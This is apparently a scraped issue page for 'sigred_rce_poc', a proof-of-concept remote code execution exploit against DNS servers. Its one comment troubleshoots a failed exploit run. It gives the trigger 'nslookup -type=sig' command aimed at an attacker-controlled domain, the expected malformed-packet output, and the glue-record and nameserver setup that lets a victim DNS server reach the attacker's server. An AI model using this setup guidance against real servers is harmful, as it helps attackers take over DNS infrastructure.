Comments (1)
This error most likely indicates that the victim DNS server cannot find your evil DNS server.
Under the hood, the following lookup is failing:
nslookup -type=sig -retry=0 9.dz.<EVIL_DOMAIN>
You can try running the above command from your attack machine, and the output should look as follows:
;; Warning: Message parser reports malformed message packet.
;; Truncated, retrying in TCP mode.
;; Warning: Message parser reports malformed message packet.
;; ;; Question section mismatch: got 9.\159\142\001\032\000\000\024\000\001\192\012\000\024\000\001\000\000\000\016\000\.\000\001\005\000\000\000\000\016hv\162\031],\202\031\158\004\192.\000\000\000\000\000\000\000\000\000\000\000\000/TYPE0/RESERVED0
However, in your case I'm guessing the output will look like:
;; Got SERVFAIL reply from <DNS_RESOLVER_IP>
Server: <DNS_RESOLVER_IP>
Address: <DNS_RESOLVER_IP>#53
** server can't find <EVIL_DOMAIN>: SERVFAIL
I think the most likely causes are:
- You have not set the primary nameserver for
<EVIL_DOMAIN>
to bens1.<EVIL_DOMAIN>
as the script assumes. You will need a glue record to make this work, so check with your domain registrar if and how you can create one. ns1.<EVIL_DOMAIN>
is not pointing to your evil DNS server.- The victim DNS server cannot reach your evil DNS server for whatever reason. This could be a routing or a firewalling issue on either side.
Doublecheck your setup and make sure that the nslookup
command at the beginning of this comment returns the expected output. Once that is the case, you can try running the script again.
This is not the simplest exploit to set up. I'm speaking from experience :-)
from sigred_rce_poc.
Related Issues (14)
- no response in evildns.py and exploit.py throws exception HOT 7
- Errors HOT 5
- can't reproduce this exploit in a public network environment HOT 1
- exploit.py [ struct.error: unpack requires a buffer of 8 bytes] HOT 4
- unpack requires a buffer of 8 bytes HOT 4
- Setting up over public network HOT 3
- Getting a crash HOT 5
- Could not Find msvcrt Offset HOT 3
- IndexError: list index out of range
- cannot import system_arg from payload HOT 1
- Potential security issue
- Which build version did you use?
- Could not find dns offsets HOT 2
Recommend Projects
-
React
A declarative, efficient, and flexible JavaScript library for building user interfaces.
-
Vue.js
🖖 Vue.js is a progressive, incrementally-adoptable JavaScript framework for building UI on the web.
-
Typescript
TypeScript is a superset of JavaScript that compiles to clean JavaScript output.
-
TensorFlow
An Open Source Machine Learning Framework for Everyone
-
Django
The Web framework for perfectionists with deadlines.
-
Laravel
A PHP framework for web artisans
-
D3
Bring data to life with SVG, Canvas and HTML. 📊📈🎉
-
Recommend Topics
-
javascript
JavaScript (JS) is a lightweight interpreted programming language with first-class functions.
-
web
Some thing interesting about web. New door for the world.
-
server
A server is a program made to process requests and deliver data to clients.
-
Machine learning
Machine learning is a way of modeling and interpreting data that allows a piece of software to respond intelligently.
-
Visualization
Some thing interesting about visualization, use data art
-
Game
Some thing interesting about game, make everyone happy.
Recommend Org
-
Facebook
We are working to build community through open source technology. NB: members must have two-factor auth.
-
Microsoft
Open source projects and samples from Microsoft.
-
Google
Google ❤️ Open Source for everyone.
-
Alibaba
Alibaba Open Source for everyone
-
D3
Data-Driven Documents codes.
-
Tencent
China tencent open source team.
from sigred_rce_poc.